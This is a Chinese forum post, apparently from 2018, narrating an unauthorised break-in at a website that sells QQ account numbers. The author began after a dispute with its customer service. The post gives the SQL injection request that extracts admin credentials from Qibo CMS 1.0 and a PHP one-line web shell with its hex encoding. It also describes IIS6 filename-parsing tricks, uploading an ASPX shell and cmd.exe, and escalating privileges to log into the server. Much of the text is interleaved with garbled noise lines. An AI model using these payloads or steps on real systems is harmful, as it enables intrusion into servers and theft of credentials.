|
9 Z. j) n) Y) P( j
2 Z2 G4 a# w4 _/ p* Z% o. o( V- ^ ' ]( c4 {/ g, D1 g( b% ^
5 s4 S5 a) ~+ I% V7 \9 p
一、踩点寻找漏洞
, `8 v* \) I' q) U; G* L
闲来无事，在各个QQ靓号群求买5位QQ，寻问半天无果就在百度搜索5位QQ扫号找到“目标”www.qq.com，打开一看就一静态页面，哇好多靓号啊，90000000,300000,98888888，199999999，哇这么多靓号，然后我去联系客服，要求客服登录账户看看，此处略去100字，然后开始撕逼，然后就有了下文。。。。
. p9 j7 C3 H: J随手拿御剑扫了一下好多php页面，随手加一个member发现是齐博1.0的内容管理系统，然后就去百度找漏洞，什么后门漏洞一一做测试都无果，找来找去找到一个全版本的注入漏洞，详细利用方法如下：
9 S6 X9 }, x. [' e' r先注册一个用户，记住注册时候的邮箱以uid号，
[; u3 s) S. Q* o; h! D- g- {
4 \% _& E; M& }9 Q8 r% u
* C. C, d6 e6 b4 I然后我们打开火狐浏览器简单构造一下，http://www.qq.com/member/userinfo.php?job=edit&step=2，发送数据包如下：
* l, D8 v/ U0 p3 T/ S) I( ?
3 H8 d! m% D1 b7 L
truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select user()) where uid=3%23
0 E0 ~" A& ?: u9 a1 P这里的email和uid一定要和注册的账号所吻合，然后访问，提示成功以后查看用户资料如图：
7 {4 \. U3 q* l
, N) `. `7 y4 _* @9 {+ V确实存在注入漏洞，那么我们来注入一下管理账号密码，修改数据包如：truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select concat(username,0x2e,password) from qb_members limit 1) where uid=3%23
6 h. I) s/ y9 }5 j0 S2 ]
: ]- P9 M" @( C& a: q7 Q; K' {
, d A" W; Q, P3 U; g% u% L5 P
解密进后台如图：
) `/ P6 ]: e: l j$ m' l* o4 V5 o/ A
% t7 i! E- {( X2 b; s( M
! D! Z- `% g, p. P3 a# \# [
, s* p* {; t# ~) ^# N) t1 A
二、后台getwebshell
% I T; j0 C, ^; h! K1 H
进了后台，以前齐博有个后台getwebshell漏洞，在系统功能- 单篇文章独立页面管理-增加页面添加个webshell，如图：
( S4 L K" s$ l
$ N5 p+ S/ {# V J3 ^: V' a5 M2 n
( D+ c7 I2 a: i. N; t9 }" e! o, }
) t7 P" p: M9 \" F" h然后点确定，添加提示
. e* ?% G1 w9 `6 E3 x
( E, _& z0 ` S j/ t" _
) {5 d% o1 _7 v9 L m7 j3 u
! n( p4 k6 \ N# Y: P+ ]) s4 N由于是ii6.0的所以我们可以考虑一下解析漏洞，我们再来如图：
: [* L- P! `6 K! l+ p
2 Q3 {" H9 u( t
! b/ E: C) c4 h9 u: p改静态页面为help.php;.htm，然后我们发现访问help.php;.htm是404（写文章之前测试是可以成功写入的），欧巴，他么的我们再想想别的办法，抽了一支烟，我们继续，他这里不是有个服务器信息、数据库工具吗，之前我们测试当前用户名是root，那么我们完全可以考虑利用服务器信息、数据库工具来导入一句话，屌屌的妈妈的，我们来演示一下，先把一句话hex编码一下，<?php assert($_POST[sb]);?>编码以后是：0x3C3F7068702061737365727428245F504F53545B73625D293B3F3EDA网站目录是D:\wwwroot\qq.com\admin\，注意我们要把\改成/,否则不成功D:/wwwroot/qq.com/admin/,下面我们来导一下
) O" a O/ D# T+ z0 L. e5 v如图：
1 F: F$ q, [. Z' j+ g
3 U$ Q& W6 d7 p {5 `& u! d
C! P6 _( I3 v) Y3 | l5 [0 }" z
9 N- z0 D$ G1 z: D+ P; t之前已经测试过了用普通菜刀无法连接，测试用过狗菜刀也无法连接，用xiese打开
+ B/ j, p: C, e. w4 u2 v
! ]& y$ Q. ]9 p$ x3 ]& r
2 R& d) I" F7 r3 H5 S
+ [" x5 O1 ?9 v( A# K三、提权进服务器
+ J) c) D2 _4 C, ~/ F
经测试xise下一句话只有在admin目录下有权限浏览，且不能执行命令，庆幸的是支持aspx，那么我们就上一个aspx大马，然后执行命令提示拒绝访问，哈哈在c:\windows\temp下上传cmd.exe然后执行systeminfo，发现打了400多补丁，如图：
( O* {: \+ S" y
1 D" v! F* D$ E1 ~6 @! A5 z0 A
3 ` p |, C+ B( R& o啧啧啧，这么多补丁，我都没去试试今年和2014年放出来的exp，而且是在咱们大00下载了一个变异pr，然后上传提权如图：
/ J' H' M; r' T% n
G3 S/ N, p" W$ R
|1 w) d+ Y9 |/ \( R: v; f% W2 o
然后登陆服务器如图：
; d6 m: J" C* K1 E
5 E: P6 x5 y/ Z" m" b* J
% q4 q! t# @' p3 Q% ^; \: d ' P2 w& }$ j2 q7 {/ y$ [: O
3 ]* ^' ]0 V, d/ g; ~
6 h* n9 T% Y+ y/ U( m, y$ H0 o4 ~
难怪普通刀连接不上，原来是有狗。
, t1 F# ]$ r# P$ D5 }
, r- ?( E5 V' H) J r5 b) Q2 ?
8 d/ `) L. n% E. [/ r % v; @+ A, u' {$ A$ h. t+ b# ~2 d
( U- _6 V, V0 ?0 F2 h6 z+ A; ^
7 C; @" u, D6 _; \* H7 k
$ s' {3 B/ V* M8 V! W; P5 ^) u
| 
发表于 2018-10-20 20:08:47
收藏
支持
反对